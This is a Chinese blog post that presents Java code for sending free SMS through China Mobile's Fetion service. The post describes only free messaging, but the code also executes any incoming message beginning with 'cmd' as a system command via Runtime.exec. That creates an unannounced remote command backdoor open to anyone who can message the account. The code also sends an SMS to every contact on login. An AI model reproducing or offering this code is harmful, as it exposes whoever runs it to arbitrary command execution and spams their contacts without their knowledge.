HTTP://blog.csdn.net/jinxinxin1314/archive/2009/08.aspx


最近我在網上流覽網頁的時候,無意間看到了一個好東東,就是用java可以免費發短信。前提是你要發的手機是開通飛信業務的。

 

而且你還需要下個包,位址:HTTP://download.csdn.net/source/1148854

 

下面是java代碼:

 

package com.test;

 

import java.io.IOException;

 

import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;



public class test {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");

 

//phone--你的手機號,必須是開通了移動的飛信的
//password--你開通飛信業務時候設置的密碼
fetion.addListener(new IFetionEventListener(){

 

public void process(FetionEvent e) {
if(e.getFirstLine()!=null
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
// System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
}
}
}

 

});
fetion.login();
for (Contact cc : fetion.getContacts()) {
//System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("給自己發個試哈^_^...");
//fetion.logout();
}



}
arrow
arrow
    全站熱搜

    戮克 發表在 痞客邦 留言(0) 人氣()